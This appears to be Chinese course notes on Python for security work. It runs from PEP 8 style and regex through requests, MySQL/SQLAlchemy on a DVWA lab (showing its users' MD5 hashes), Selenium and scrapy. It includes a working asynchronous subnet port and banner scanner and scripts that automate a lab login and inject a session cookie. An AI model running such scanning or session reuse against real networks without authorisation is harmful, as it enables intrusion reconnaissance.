Safe: 15-安全开发-python安全开发

# 正确的写法
import os
import sys

# 不推荐的写法，不同模块不建议放在一起写
import sys,os

# 正确的写法。同模块内导入放一起写
from subprocess import Popen, PIPE

# 正确的写法
from foo.bar import Bar
# 不推荐的写法
from ..bar import Bar

import os
import sys

import msgpack
import zmq

import foo

from myclass import MyClass

import bar
import foo.bar

bar.Bar()
foo.bar.Bar()

# 正确的写法
i = i + 1
submitted += 1
x = x * 2 - 1
hypot2 = x * x + y * y
c = (a + b) * (a - b)

# 不推荐的写法
i=i+1
submitted +=1
x = x*2 - 1
hypot2 = x*x + y*y
c = (a+b) * (a-b)

# 正确的写法
def complex(real, imag):
    pass

# 不推荐的写法
def complex(real,imag):
    pass

# 正确的写法
def complex(real, imag=0.0):
    pass
# 不推荐的写法
def complex(real, imag = 0.0):
    pass

# 正确的写法
spam(ham[1], {eggs: 2})
# 不推荐的写法
spam( ham[1], { eggs : 2 } )

# 正确的写法
dict['key'] = list[index]
# 不推荐的写法
dict ['key'] = list [index]

# 正确的写法
x = 1
y = 2
long_variable = 3

# 不推荐的写法
x             = 1
y             = 2
long_variable = 3

foo = long_function_name(var_one, var_two,
                         var_three, var_four)

def long_function_name(
        var_one, var_two, var_three,
        var_four):
    print(var_one)

session.query(MyTable).\
    filter_by(id=1).\
    one()

print 'Hello, '\
    '%s %s!' %\
    ('Harry', 'Potter')

# 正确的写法
do_first()
do_second()
do_third()
# 不推荐的写法
do_first();do_second();do_third();

# 正确的写法
if foo == 'blah':
   do_blah_thing()
# 不推荐的写法
if foo == 'blah': do_blash_thing()

"""Return a foobar
Optional plotz says to frobnicate the bizbaz first.
"""

"""Oneline docstring"""

# 块注释
# 块注释
#
# 块注释
# 块注释

# 正确的写法
x = x + 1  # 边框加粗一个像素

# 不推荐的写法(无意义的注释)
x = x + 1 # x加1

app = create_app(name, options)


# =====================================
# 请勿在此处添加 get post等app路由行为 !!!
# =====================================


if __name__ == '__main__':
app.run()

# -*- coding: utf-8 -*-
"""Example docstrings.

This module demonstrates documentation as specified by the `Google Python
Style Guide`_. Docstrings may extend over multiple lines. Sections are created
with a section header and a colon followed by a block of indented text.

Example:
    Examples can be given using either the ``Example`` or ``Examples``
    sections. Sections support any reStructuredText formatting, including
    literal blocks::
        $ python example_google.py

Section breaks are created by resuming unindented text. Section breaks
are also implicitly created anytime a new section starts.
"""

# 不推荐的写法(不要写函数原型等废话)
def function(a, b):
    """function(a, b) -> list"""
    ... ...

# 正确的写法
def function(a, b):
    """计算并返回a到b范围内数据的平均值"""
    ... ...

def func(arg1, arg2):
    """在这里写函数的一句话总结(如: 计算平均值).

    这里是具体描述.

    参数
    ----------
    arg1 : int
        arg1的具体描述
    arg2 : int
        arg2的具体描述

    返回值
    -------
    int
        返回值的具体描述

    参看
    --------
    otherfunc : 其它关联函数等...

    示例
    --------
    示例使用doctest格式, 在`>>>`后的代码可以被文档测试工具作为测试用例自动运行

    >>> a=[1,2,3]
    >>> print [x + 3 for x in a]
    [4, 5, 6]
    """

# 正确的模块名
import decoder
import html_parser

# 不推荐的模块名
import Decoder

class Farm():
      pass
class AnimalFarm(Farm):
      pass
class _PrivateFarm(Farm):
      pass

print("Hello Cici")
print('Hello Cici')

a = "Hello Cici"
print(a)

cici = """linux
archlinux."""
print(cici)

cici = '''abc
def
aaaaaa.'''
print(cici)

cici = "Hello, World!"
print(a[1])

print("Cici", "Web安全", sep='--')

Cici--网络安全

name = "Cici"
age = 10
gender = "男"
print("%s++%s++%s" %(name,age,gender))

Cici++10++男

name = "test"
age = 10
gender = "男"
print("我叫{0}今年{1}岁是个{2}".format(name,age,gender))
print("我叫{2}今年{0}岁是个{1}".format(name,age,gender))

我叫test今年10岁是个男
我叫男今年test岁是个10

import re
a = 'uav,ubv,ucv,uwv,uzv,ucv,uov'

# 字符集

# 取 u 和 v 中间是 a 或 b 或 c 的字符
findall = re.findall('u[abc]v', a)
print(findall)
# 如果是连续的字母，数字可以使用 - 来代替
l = re.findall('u[a-c]v', a)
print(l)

# 取 u 和 v 中间不是 a 或 b 或 c 的字符
re_findall = re.findall('u[^abc]v', a)
print(re_findall)

['uav', 'ubv', 'ucv', 'ucv']
['uav', 'ubv', 'ucv', 'ucv']
['uwv', 'uzv', 'uov']

import re

a = 'uav_ubv_ucv_uwv_uzv_ucv_uov&123-456-789'

# 概括字符集

# \d 相当于 [0-9] ,匹配所有数字字符
# \D 相当于 [^0-9] ， 匹配所有非数字字符
findall1 = re.findall('\d', a)
findall2 = re.findall('[0-9]', a)
findall3 = re.findall('\D', a)
findall4 = re.findall('[^0-9]', a)
print(findall1)
print(findall2)
print(findall3)
print(findall4)

# \w 匹配包括下划线的任何单词字符，等价于 [A-Za-z0-9_]
findall5 = re.findall('\w', a)
findall6 = re.findall('[A-Za-z0-9_]', a)
print(findall5)
print(findall6)

['1', '2', '3', '4', '5', '6', '7', '8', '9']
['1', '2', '3', '4', '5', '6', '7', '8', '9']
['u', 'a', 'v', '_', 'u', 'b', 'v', '_', 'u', 'c', 'v', '_', 'u', 'w', 'v', '_', 'u', 'z', 'v', '_', 'u', 'c', 'v', '_', 'u', 'o', 'v', '&', '-', '-']
['u', 'a', 'v', '_', 'u', 'b', 'v', '_', 'u', 'c', 'v', '_', 'u', 'w', 'v', '_', 'u', 'z', 'v', '_', 'u', 'c', 'v', '_', 'u', 'o', 'v', '&', '-', '-']
['u', 'a', 'v', '_', 'u', 'b', 'v', '_', 'u', 'c', 'v', '_', 'u', 'w', 'v', '_', 'u', 'z', 'v', '_', 'u', 'c', 'v', '_', 'u', 'o', 'v', '1', '2', '3', '4', '5', '6', '7', '8', '9']
['u', 'a', 'v', '_', 'u', 'b', 'v', '_', 'u', 'c', 'v', '_', 'u', 'w', 'v', '_', 'u', 'z', 'v', '_', 'u', 'c', 'v', '_', 'u', 'o', 'v', '1', '2', '3', '4', '5', '6', '7', '8', '9']

import re

a = 'java*&39android##@@python'

# 数量词
findall = re.findall('[a-z]{4,7}', a)
print(findall)

['java', 'android', 'python']

import re

a = 'java*&39android##@@python'
# 贪婪与非贪婪
re_findall = re.findall('[a-z]{4,7}?', a)
print(re_findall)

['java', 'andr', 'pyth']

? ：告诉引擎匹配前导字符 0 次或 1 次
+ ：告诉引擎匹配前导字符 1 次或多次
* ：告诉引擎匹配前导字符 0 次或多次

贪婪 懒惰 描述
？ ？？ 零次或一次出现，等价于{0,1}
+ +？ 一次或多次出现 ，等价于{1,}
* *？ 零次或多次出现 ，等价于{0,}
{n} {n}？ 恰好 n 次出现
{n,m} {n,m}？ 至少 n 次枝多 m 次出现
{n,} {n,}？ 至少 n 次出现

代码 说明 举例
*? 匹配任意次，但尽可能少重复 
+? 匹配至少1次，，但尽可能少重复 
?? 匹配0次或1次，，但尽可能少重复 
{n,}? 匹配至少n次，但尽可能少重复 
{n,m}? 匹配至少n次，至多m次，但尽可能少重复 

very very happy 使用v.*y和v.*?y

import re

a = 'wood took foot food'

findall = re.findall('f(?=oo)', a)
print(findall) # ['f', 'f']

语法 描述
^ 匹配字符串开头（在有多行的情况中匹配每行的开头）
$ 匹配字符串的末尾(在有多行的情况中匹配每行的末尾)
\A 仅匹配字符串开头
\Z 仅匹配字符串末尾
\b 匹配 \w 和 \W 之间
\B [^\b]

参数 描述
pattern 表示正则中的模式字符串
repl repl，就是replacement，被替换的字符串的意思
string 即表示要被处理，要被替换的那个 string 字符串
count 对于pattern中匹配到的结果，count可以控制对前几个group进行替换
flags 正则表达式修饰符

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import re

a = 'Python*Android*Java-888'

# 把字符串中的 * 字符替换成 & 字符
sub1 = re.sub('\*', '&', a)
print(sub1)

# 把字符串中的第一个 * 字符替换成 & 字符
sub2 = re.sub('\*', '&', a, 1)
print(sub2)

# 把字符串中的 * 字符替换成 & 字符,把字符 - 换成 |
# 1、先定义一个函数
def convert(value):
    group = value.group()
    if (group == '*'):
        return '&'
    elif (group == '-'):
        return '|'

# 第二个参数，要替换的字符可以为一个函数
sub3 = re.sub('[\*-]', convert, a)
print(sub3)

Python&Android&Java-888
Python&Android*Java-888
Python&Android&Java|888

re.match(pattern, string, flags=0)

a = 'Python*Android*Java-888'
# 使用 re.match
match = re.match('[a-zA-Z]{4,7}', a)
# group(0) 是一个完整的分组
print(match.group(0)) #Python

# 限制匹配长度为 7
match = re.match('[a-zA-Z]{7}', a)
print(match.group(0)) #报错，没有从起始位置7位的字符串

re.search(pattern, string, flags=0)

参数 描述
pattern 匹配的正则表达式
string 要匹配的字符串
flags 标志位，用于控制正则表达式的匹配方式，如：是否区分大小写

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

# 提取图片的地址

import re
a = '<img src="https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg">'
# 使用 re.search
search = re.search('<img src="(.*)">', a)
# group(0) 是一个完整的分组
print(search.group(0))
print(search.group(1))

# 使用 re.findall
findall = re.findall('<img src="(.*)">', a)
print(findall)

# 多个分组的使用（比如我们需要提取 img 字段和图片地址字段）
re_search = re.search('<(.*) src="(.*)">', a)
# 打印 img
print(re_search.group(1))
# 打印图片地址
print(re_search.group(2))
# 打印 img 和图片地址，以元祖的形式
print(re_search.group(1, 2)) #('img', 'https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg')
# 或者使用 groups
print(re_search.groups())

<img src="https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg">
https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg
['https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg']
img
https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg
('img', 'https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg')
('img', 'https://www.cici.com/a8c49ef606e0e1f3ee28932usk89105e.jpg')

192.168.1.150
0.0.0.0
255.255.255.255
17.16.52.100
172.16.0.100
400.400.999.888
001.022.003.000
257.257.255.256

ftp://ftp.astron.com/pub/file/file-5.14.tar.gz
ftp://ftp.gmplib.org/pub/gmp-5.1.2/gmp-5.1.2.tar.xz
ftp://ftp.vim.org/pub/vim/unix/vim-7.3.tar.bz2
http://anduin.linuxfromscratch.org/sources/LFS/lfs-packages/conglomeration//iana-etc/iana-etc-2.30.tar.bz2
http://anduin.linuxfromscratch.org/sources/other/udev-lfs-205-1.tar.bz2
http://download.savannah.gnu.org/releases/libpipeline/libpipeline-1.2.4.tar.gz
http://download.savannah.gnu.org/releases/man-db/man-db-2.6.5.tar.xz
http://download.savannah.gnu.org/releases/sysvinit/sysvinit-2.88dsf.tar.bz2
http://ftp.altlinux.org/pub/people/legion/kbd/kbd-1.15.5.tar.gz
http://mirror.hust.edu.cn/gnu/autoconf/autoconf-2.69.tar.xz
http://mirror.hust.edu.cn/gnu/automake/automake-1.14.tar.xz

test@hot-mail.com
[email protected]
[email protected]
[email protected]
a@w-a-com

<a href='http://www.cici.com/index.html' target='_blank'>CiCi</a>

http://www.cici.com/index.html
https://login.cici.com
file:///ect/sysconfig/network

321105700101003
321105197001010030
11210020170101054X

17位数字+1位校验码组成
前6位地址码，8位出生年月，3位数字，1位校验位（0-9或X）

$ pip install requests

>>> import requests

>>> r = requests.get('https://www.cici.com')
>>> print(r.text)

>>> r = requests.post('http://www.cici.com', data = {'key':'value'})

>>> r = requests.put('http://www.cici.com/put', data = {'key':'value'})
>>> r = requests.delete('http://www.cici.com/delete')
>>> r = requests.head('http://www.cici.com/get')
>>> r = requests.options('http://www.cici.com/get')

>>> payload = {'key1': 'value1', 'key2': 'value2'}
>>> r = requests.get("http://www.cici.com", params=payload)

>>> print(r.url)
http://www.cici.com?key2=value2&key1=value1

>>> payload = {'key1': 'value1', 'key2': ['value2', 'value3']}
>>> r = requests.get('http://www.cici.com', params=payload)
>>> print(r.url)
http://www.cici.com?key1=value1&key2=value2&key2=value3

>>> import requests
>>> r = requests.get('https://api.github.com/events')
>>> r.text
u'[{"repository":{"open_issues":0,"url":"https://github.com/...

>>> r.encoding
'utf-8'
>>> r.encoding = 'ISO-8859-1'

>>> import requests
>>> r = requests.get('https://api.github.com/events')
>>> r.json()
[{u'repository': {u'open_issues': 0, u'url': 'https://github.com/...

>>> r = requests.get('https://api.github.com/events', stream=True)
>>> r.raw
<requests.packages.urllib3.response.HTTPResponse object at 0x101194810>
>>> r.raw.read(10)
'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03'

with open(filename, 'wb') as fd:
  for chunk in r.iter_content(chunk_size):
    fd.write(chunk)

>>> url = 'https://api.github.com/some/endpoint'
>>> headers = {'user-agent': 'my-app/0.0.1'}
>>> r = requests.get(url, headers=headers)

>>> payload = {'key1': 'value1', 'key2': 'value2'}
>>> r = requests.post("http://httpbin.org/post", data=payload)
>>> print(r.text)
{
...
 "form": {
  "key2": "value2",
  "key1": "value1"
},
...
}

>>> payload = (('key1', 'value1'), ('key1', 'value2'))
>>> r = requests.post('http://httpbin.org/post', data=payload)
>>> print(r.text)
{
...
 "form": {
  "key1": [
   "value1",
   "value2"
 ]
},
...
}

>>> import json

>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}

>>> r = requests.post(url, data=json.dumps(payload))

>>> url = 'https://api.github.com/some/endpoint'
>>> payload = {'some': 'data'}
>>> r = requests.post(url, json=payload)

>>> r = requests.get('http://httpbin.org/get')
>>> r.status_code
200

>>> r.status_code == requests.codes.ok
True

>>> r.headers
{
  'content-encoding': 'gzip',
  'transfer-encoding': 'chunked',
  'connection': 'close',
  'server': 'nginx/1.0.4',
  'x-runtime': '148ms',
  'etag': '"e1ca502697e5c9317743dc078f67693f"',
  'content-type': 'application/json'
}

>>> r.headers['Content-Type']
'application/json'

>>> r.headers.get('content-type')
'application/json'

>>> url = 'http://example.com/some/cookie/setting/url'
>>> r = requests.get(url)

>>> r.cookies['example_cookie_name']
'example_cookie_value'

>>> url = 'http://httpbin.org/cookies'
>>> cookies = dict(cookies_are='working')

>>> r = requests.get(url, cookies=cookies)
>>> r.text
'{"cookies": {"cookies_are": "working"}}'

>>> jar = requests.cookies.RequestsCookieJar()
>>> jar.set('tasty_cookie', 'yum', domain='httpbin.org', path='/cookies')
>>> jar.set('gross_cookie', 'blech', domain='httpbin.org', path='/elsewhere')
>>> url = 'http://httpbin.org/cookies'
>>> r = requests.get(url, cookies=jar)
>>> r.text
'{"cookies": {"tasty_cookie": "yum"}}'

>>> r = requests.get('http://github.com')

>>> r.url
'https://github.com/'

>>> r.status_code
200

>>> r.history
[<Response [301]>]

>>> r = requests.get('http://github.com', allow_redirects=False)
>>> r.status_code
301
>>> r.history
[]

>>> r = requests.head('http://github.com', allow_redirects=True)
>>> r.url
'https://github.com/'
>>> r.history
[<Response [301]>]

>>> requests.get('http://github.com', timeout=0.001)
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
requests.exceptions.Timeout: HTTPConnectionPool(host='github.com', port=80): Request
timed out. (timeout=0.001)

# Python program to connect
# to mysql database

import mysql.connector

# Connecting from the server
conn = mysql.connector.connect(user = 'username',
                               host = 'localhost',
                               database = 'database_name')
print(conn)
# Disconnecting from the server
conn.close()

# Python program to connect
# to mysql database
from mysql.connector import connection
# Connecting to the server
conn = connection.MySQLConnection(user = 'username',
                                  host = 'localhost',
                                  database = 'database_name')
print(conn)
# Disconnecting from the server
conn.close()

# Python program to connect
# to mysql database

from mysql.connector import connection

dict = {
    'user': 'root',
    'host': 'localhost',
    'database': 'dvwa'
}

# Connecting to the server
conn = connection.MySQLConnection(**dict)
print(conn)
# Disconnecting from the server
conn.close()

# importing required library
import mysql.connector

# connecting to the database
dataBase = mysql.connector.connect(
    host = "localhost",
    user = "root",
    passwd = "",
    database = "dvwa" )

# preparing a cursor object
cursorObject = dataBase.cursor() #生成游标

# selecting query
query = "SELECT NAME, ROLL FROM USERS"
cursorObject.execute(query)
myresult = cursorObject.fetchall()

for x in myresult:
    print(x)

# disconnecting from server
dataBase.close()

# Python program to demonstrate
# update clause
import mysql.connector

# Connecting to the Database
mydb = mysql.connector.connect(
    host ='localhost',
    database ='dvwa',
    user ='root',
)

cs = mydb.cursor()
statement ="UPDATE USERS SET AGE = 23 WHERE Name ='Rishi Kumar'"

cs.execute(statement)
mydb.commit()

# Disconnecting from the database
mydb.close()

pip install pymysql

pip install sqlalchemy

from sqlalchemy import create_engine
engine = create_engine("mysql+pymysql://root:@localhost:33060/dvwa", echo=True)

mysql> desc users;
+--------------+-------------+------+-----+-------------------+-----------------------------+
| Field        | Type        | Null | Key | Default           | Extra                       |
+--------------+-------------+------+-----+-------------------+-----------------------------+
| user_id      | int(6)      | NO   | PRI | 0                 |                             |
| first_name   | varchar(15) | YES  |     | NULL              |                             |
| last_name    | varchar(15) | YES  |     | NULL              |                             |
| user         | varchar(15) | YES  |     | NULL              |                             |
| password     | varchar(32) | YES  |     | NULL              |                             |
| avatar       | varchar(70) | YES  |     | NULL              |                             |
| last_login   | timestamp   | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| failed_login | int(3)      | YES  |     | NULL              |                             |
+--------------+-------------+------+-----+-------------------+-----------------------------+
8 rows in set (0.00 sec)

mysql> select user_id,user,password from users;
+---------+---------+----------------------------------+
| user_id | user    | password                         |
+---------+---------+----------------------------------+
|       1 | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 |
|       2 | gordonb | e99a18c428cb38d5f260853678922e03 |
|       3 | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b |
|       4 | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
|       5 | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+---------+----------------------------------+
5 rows in set (0.00 sec)

from sqlalchemy import Column
from sqlalchemy import Integer
from sqlalchemy import String
from sqlalchemy import TIMESTAMP
from sqlalchemy.orm import declarative_base

Base = declarative_base()

class Users(Base):
  __tablename__ = "users"
  user_id = Column(Integer, primary_key=True, nullable=False)
  first_name = Column(String(15), nullable=True)
  last_name = Column(String(15), nullable=True)
  user = Column(String(15), nullable=True)
  password = Column(String(32), nullable=True)
  avatar = Column(String(70), nullable=True)
  last_login = Column(TIMESTAMP(True), nullable=False)
  failed_login = Column(Integer, nullable=True)

from conn.connect import engine
from sqlalchemy.orm import Session
from sqlalchemy import select
from dvwa_model import Users

session = Session(engine)

stmt = select(Users)

# session.scalars 返回可遍历对象
for user in session.scalars(stmt):
    print("user id:%s name:%s" % (user.user_id, user.first_name))
session.close()

from conn.connect import engine
from sqlalchemy.orm import Session
from sqlalchemy import select
from dvwa_model import Users
session = Session(engine)
session.add(Users(user_id=6, first_name="cici", last_name=".com", user="m"))
session.commit()
session.close()

from conn.connect import engine
from sqlalchemy.orm import Session
from sqlalchemy import select
from dvwa_model import Users
session = Session(engine)
stmt = select(Users).where(Users.user_id == 6)
data = session.scalars(stmt).one()
data.user = 'cici'
session.commit()
session.close()

from conn.connect import engine
from sqlalchemy.orm import Session
from sqlalchemy import select
from dvwa_model import Users

session = Session(engine)

stmt = select(Users).where(Users.user_id == 6)
data = session.scalars(stmt).one()
session.delete(data)
session.commit()
session.close()

状态 含义
就绪(Ready): 线程能够运行，但在等待被调度。可能线程刚刚创建启动，或刚刚从阻塞中恢复，或者被其他线程抢占

运行(Running): 线程正在运行

阻塞(Blocked): 线程等待外部事件发生而无法运行，如I/O操作

终止(Terminated): 线程完成，或退出，或被取消

# 载入模块
import argparse
# 初始化
parser = argparse.ArgumentParser()
# 设置命令行参数
parser.add_argument("echo", action="store_true", help="echo the string you use here")
# 参数解析
args = parser.parse_args()
# 获取参数
print(args.echo)

> python argparse_test.py -h
usage: test.py [-h]

positional arguments:
  echo echo the string you use here

optional arguments:
  -h, --help show this help message and exit

import lxml
from bs4 import BeautifulSoup

html = """
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  </head>
  <div class="body_padded">
    <h1>Vulnerability: Brute Force</h1>
    <div class="vulnerable_code_area">
      <h2>Login</h2>
      <form action="#" method="GET">
        Username:<br />
        <input type="text" name="username"><br />
        Password:<br />
        <input type="password" AUTOCOMPLETE="off" name="password"><br />
        <br />
        <input type="submit" value="Login" name="Login">
      </form>
      <p>Welcome to the password protected area gordonb</p><img src="http://127.0.0.1/hackable/users/gordonb.jpg" />
    </div>
    <h2>More Information</h2>
    <ul>
      <li><a href="https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)" target="_blank">https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)</a></li>
      <li><a href="http://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password" target="_blank">http://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password</a></li>
      <li><a href="http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html" target="_blank">http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html</a></li>
    </ul>
</body>
</html>
"""
soup = BeautifulSoup(html, 'lxml') # 文档对象
# 查找a标签,只会查找出一个a标签
# print(soup.a)#<a class="sister" href="http://example.com/elsie" id="xiaodeng"><!--Elsie --></a>

for k in soup.find_all('a'):
    print(k['href']) # 查a标签的href值
    print(k.string) # 查a标签的string

print(soup.title)
print(soup.head)
print(soup.a)
print(soup.p)
print(type(soup.a))

import asyncio
import time

async def say_after(delay, what):
    await asyncio.sleep(delay)
    print(what)

async def main():
    print(f"started at {time.strftime('%X')}")
    await say_after(1, 'hello')
    await say_after(2, 'world')
    print(f"finished at {time.strftime('%X')}")

asyncio.run(main())

started at 16:03:40
hello
world
finished at 16:03:43

import asyncio
import time

async def say_after(delay, what):
    await asyncio.sleep(delay)
    print(what)

async def main():
    task1 = asyncio.create_task(
        say_after(1, 'hello'))
    task2 = asyncio.create_task(
        say_after(2, 'world'))
    print(f"started at {time.strftime('%X')}")

    # Wait until both tasks are completed (should take
    # around 2 seconds.)
    await task1
    await task2
    print(f"finished at {time.strftime('%X')}")

asyncio.run(main())

started at 16:08:21
hello
world
finished at 16:08:23

import asyncio
import sys
import requests
from netaddr import IPNetwork
from bs4 import BeautifulSoup

Ports_web = [80, 88, 443, 7001, 8000, 8008, 8888, 8080, 8088, 8089, 8161, 9090]
Ports_other = [21, 22, 445, 1100, 1433, 1434, 1521, 3306, 3389, 6379, 8009, 9200,11211, 27017, 50070]

COUNT = 0
TIMEOUT_HTTP = 5
TIMEOUT_SOCK = 0.9
PATH = ''

user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)" \
" Chrome/101.0.4951.41 Safari/537.36"
# 输出字符时的各种颜色前缀
pr_purp = '\033[95m'
pr_blue = '\033[94m'
pr_red = '\033[31m'
pr_yellow = '\033[93m'
pr_green = '\033[96m'
# 结束颜色
pr_end = '\033[0m'

def tag(info):
    return "[" + info + "]"

def get_info(url, keyword):
    try:
        r = requests.get(url, headers={'UserAgent': user_agent}, timeout=TIMEOUT_HTTP, verify=False,
                         allow_redirects=True)
        # 解析html
        soup = BeautifulSoup(r.content, "lxml")
        # HTTP头信息分析
        info_code = tag(pr_red + str(r.status_code) + pr_end)
        info_title = tag(pr_blue + soup.title.string.replace('\n', '').replace('\r', '').replace(
            '\t', '') + pr_end) if soup.title else tag("")
        info_len = tag(pr_purp + str(len(r.content)) + pr_end)
        # 获取请求头中的服务器信息
        if 'Server' in r.headers:
            info_server = " [" + pr_yellow + r.headers['Server']
            info_server += " " + r.headers['X-Powered-By'] + pr_end + "]" if 'X-Powered-By' in r.headers else "]"
        else:
            info_server = tag("")
        result = info_code + info_title + info_server + info_len
        # HTTP内容，关键字匹配
        key = tag(pr_red + "Keyword!!!" + pr_end) if keyword and keyword in r.text else ""

        return result + key
    except Exception as e:
        # print(e)
        return tag(pr_green + "open" + pr_end)

async def connet(host, sem, keyword):
    """
    先用异步网络请求判断端口是否存在，如果存在，再对web端口进行信息输出
    :param host thread keyword ip
    :param sem: 设置进程
    :param keyword: 对web内容关键字匹配
    :param ip: 获取目标host的IP
    :return info
    """
    global COUNT
    async with sem:
        for port in Ports_web:
            fut = asyncio.open_connection(host=host, port=port)
            try:
                reader, writer = await asyncio.wait_for(fut, timeout=TIMEOUT_SOCK)
                if writer:
                    # 如果没有 443/8443 端口，则使用http协议，否则使用https协议
                    protocol = "http" if int(port) not in [443, 8443] else "https"
                    url = "{0}://{1}:{2}{3}".format(protocol, host, port, PATH)
                    info = get_info(url, keyword)

                    sys.stdout.write("%s %s\n" % (url, info))
                    COUNT += 1
            except Exception as e:
                # print(e)
                pass

async def scan():
    # 用于并发控制的信号量
    sem = asyncio.Semaphore(60)
    keyword = "" # 扫描时的关键字
    c_ip = "192.168.0.1/24"
    # C段IP转换为单个IP的list
    ips = [str(ip) for ip in IPNetwork(c_ip)]
    tasks = []
    for host in ips:
        tasks.append(asyncio.create_task(connet(host, sem, keyword)))
    await asyncio.wait(tasks)

if __name__ == '__main__':
    asyncio.run(scan())

pip install selenium

C:\Python35\Scripts\pip.exe install selenium

C:\Python35\python.exe C:\my_selenium_script.py

from selenium import webdriver
from selenium.webdriver.common.by import By

print("Start Cici Selenium Test Project....")
# 设置User-Agent
profile = webdriver.FirefoxOptions()
profile.set_preference("general.useragent.override",
                       "Cici.com")

# 使用火狐浏览器环境
driver = webdriver.Firefox(options=profile)

# 设置访问的地址
driver.get("http://localhost:8080")
# 使用XPATH方式获取html标签节点，此处为获取 input 标签中名称为 username 的节点
user_elem = driver.find_element(By.XPATH, "//input[@name='username']")
# 获取input标签，名称为password的节点
pass_elem = driver.find_element(By.XPATH, "//input[@name='password']")
# 清空节点默认值
user_elem.clear()
# 清空节点默认值
pass_elem.clear()
# 设置username标签节点内容为 admin
user_elem.send_keys("admin")
# 设置password标签节点内容为 password
pass_elem.send_keys("password")

# 获取登陆按钮节点
login_butten_elem = driver.find_element(By.XPATH, "//input[@Name='Login']")
# 点击登陆按钮
login_butten_elem.click()
# 打印User-Agent
print(driver.execute_script("return navigator.userAgent"))
# 关闭浏览器环境
driver.close()

import time

from selenium import webdriver

print("Start Cici Selenium Test Project By Use Cookie....")
# 使用火狐浏览器环境
driver = webdriver.Firefox()

# 设置访问的地址
# 添加Cookie
driver.get("http://127.0.0.1:8080")

driver.add_cookie({
    'name': 'PHPSESSID',
    'value': 'qq53p7m5ppq5t6a6gmbede2f27'
})

time.sleep(1)
driver.get("http://127.0.0.1:8080/index.php")

# 关闭浏览器环境
# driver.close()

方法 描述
add_cookie 将 cookie 添加到当前会话。
back 在浏览器历史中倒退了一步。
close 关闭当前窗口。
create_web_element 创建具有指定 element_id 的 Web 元素。
delete_all_cookies 删除会话范围内的所有 cookie。
delete_cookie 删除具有给定名称的单个 cookie。
get_cookie 按名称获取单个 cookie。 如果找到则返回 cookie，如果没有则返回 None。
get_cookies 返回一组字典，对应于当前会话中可见的 cookie。
quite 退出驱动程序并关闭每个关联的窗口。
refersh 刷新当前页面。
set_page_load_timeout 设置在引发错误之前等待页面加载完成的时间量。
set_script_timeout 设置脚本在 execute_async_script 调用期间在引发错误之前应等待的时间量。
current_url 获取当前页面的 URL。
page_source 获取当前页面的源代码。
title 返回当前页面的标题。退出驱动程序并关闭每个关联的窗口。
refersh 刷新当前页面。
set_page_load_timeout 设置在引发错误之前等待页面加载完成的时间量。
set_script_timeout 设置脚本在 execute_async_script 调用期间在引发错误之前应等待的时间量。
execute_script 执行 js 脚本

from selenium import webdriver
from selenium.webdriver.common.by import By
import re

print("Start Cici Selenium Test Project....")
# 设置代理
profile = webdriver.FirefoxOptions()
profile.set_preference("network.proxy.type", 1)
profile.set_preference("network.proxy.socks", "202.55.5.209")
profile.set_preference("network.proxy.socks_port", 8090)
# 使用火狐浏览器环境
driver = webdriver.Firefox(options=profile)
# 设置访问的地址
driver.get("https://www.Cici.com")
# 获取所有课程列表
Cici_reults = driver.find_elements(By.XPATH, "//section[@id='modules-28']")
for result in Cici_reults:
    h3_results = result.find_elements(By.CLASS_NAME, 'service-item-title')
    for name in h3_results:
        print(name.text)
# 获取页面中存在的链接
# 获取a标签
Cici_link = driver.find_elements(By.XPATH, '//a')
for data in Cici_link:
    # 获取href属性
    link = data.get_attribute('href')
    # 匹配域名为Cici.com
    if re.match("https://[a-z]*.Cici.com", link):
        print(link)

# 关闭浏览器环境
driver.close()

安装wheel支持
$ pip install wheel

安装scrapy框架
$ pip install scrapy

window下，为了避免windows编译安装twisted依赖，安装下面的二进制包
$ pip install Twisted-18.4.0-cp35-cp35m-win_amd64.whl

windows下出现如下问题
copying src\twisted\words\xish\xpathparser.g -> build\lib.win-amd64-
3.5\twisted\words\xish
running build_ext
building 'twisted.test.raiser' extension
error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++
Build Tools": http://landinghub.visualstudio.com/visual-cpp-build-tools

解决方案是，下载编译好的twisted，https://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted
python3.5 下载 Twisted-18.4.0-cp35-cp35m-win_amd64.whl
python3.6 下载 Twisted-18.4.0-cp36-cp36m-win_amd64.whl

安装twisted
$ pip install Twisted-18.4.0-cp35-cp35m-win_amd64.whl
之后在安装scrapy就没有什么问题了

> scrapy
Scrapy 1.5.0 - no active project
Usage:
    scrapy <command> [options] [args]

Available commands:
    bench Run quick benchmark test
    check Check spider contracts
    crawl Run a spider
    edit Edit spider
    fetch Fetch a URL using the Scrapy downloader
    genspider Generate new spider using pre-defined templates
    list List available spiders
    parse Parse URL (using its spider) and print the results
    runspider Run a self-contained spider (without creating a project)
    settings Get settings values
    shell Interactive scraping console
